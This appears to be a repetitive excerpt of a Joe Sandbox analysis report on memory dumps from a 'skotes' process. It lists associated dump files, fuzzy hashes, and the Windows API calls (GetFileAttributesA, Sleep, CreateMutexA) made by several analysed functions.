Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 5b68c56aed6dd95d276519b792ba7af58f688f608cf00faf891046d3c14573da
Instruction ID: 4f46b47c3f08bdc6bd7013b3d7ff9d0f47d06f1b0631c6048ecd3c442fd61755
Opcode Fuzzy Hash: 5b68c56aed6dd95d276519b792ba7af58f688f608cf00faf891046d3c14573da
Instruction Fuzzy Hash: AB416D71904204ABDF34EFB5DC819AFB7F9EF89704B104A2EF866D3210E635A940DB61

Function 00C39BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C39BA8
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: df228fc08178962d9ef1682e321569cfed85f663c52b147114d8ae7d199b7f1e
Instruction ID: 502d688fae7fe4b9ab659e67dff4ff669b666718b7cf2523449c97fefaebe0cf
Opcode Fuzzy Hash: df228fc08178962d9ef1682e321569cfed85f663c52b147114d8ae7d199b7f1e
Instruction Fuzzy Hash: 32315B316142008BEF18EB7CECC9B6EB7A2EBC2314F244619E055A73D6C7B59E818761

Function 00C39CDA Relevance: 4.6, APIs: 3, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C39CDD
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 6f5ad7d8cb77254e1dad237149deb152eabdbcba25a056cb09a633964d454060
Instruction ID: 3659c42a1e828fd573a2e4689e2fa9c207ea10774bd9df4cd0deca71453954fe
Opcode Fuzzy Hash: 6f5ad7d8cb77254e1dad237149deb152eabdbcba25a056cb09a633964d454060
Instruction Fuzzy Hash: 80317B316242408BEF18EB7CDCC9BADB7A2EF86324F244618E055A73D5C7759E908761

Function 00C39F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C39F47
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 143cc42c9cb4c7ee5f3143e533f5636ca703f9fb5e09a116500143e931965d3f
Instruction ID: 5597981eb03779b6454a09bb73e51af9eb39d205935a47aab22637d4234711cb
Opcode Fuzzy Hash: 143cc42c9cb4c7ee5f3143e533f5636ca703f9fb5e09a116500143e931965d3f
Instruction Fuzzy Hash: 733179317242048BEF08EB78DC88BADB7A2EB85324F204619F095E73D5C7759D918762

Function 00C3A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00C3A07C
Sleep.KERNEL32(00000064,?), ref: 00C3A963
CreateMutexA.KERNEL32(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
